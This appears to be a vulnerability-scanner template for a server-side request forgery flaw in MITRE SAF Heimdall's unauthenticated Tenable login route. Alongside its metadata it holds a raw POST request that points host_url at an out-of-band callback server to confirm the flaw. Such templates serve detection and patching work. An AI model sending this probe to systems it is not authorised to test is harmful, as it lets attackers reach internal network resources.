id: CVE-2026-82477

info:
  name: "MITRE SAF Heimdall - Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    MITRE SAF Heimdall 2.11.6 through 2.13.x (before 2.14.0) exposes the Tenable proxy login route
    POST /api/tenable/login without an authentication guard. The server issues a GET request to
    ${host_url}/rest/currentUser using the attacker-supplied host_url, allowing a remote attacker to
    reach internal network resources (SSRF).
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-82477&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=heimdall&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
    cvss-score: 5.8
    cve-id: CVE-2026-82477
    cwe-id: CWE-918
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,heimdall,mitre,ssrf,oast,vuln
http:
  - raw:
      - |
        POST /api/tenable/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"host_url": "http://{{interactsh-url}}", "accesskey": "vedas", "secretkey": "vedas"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"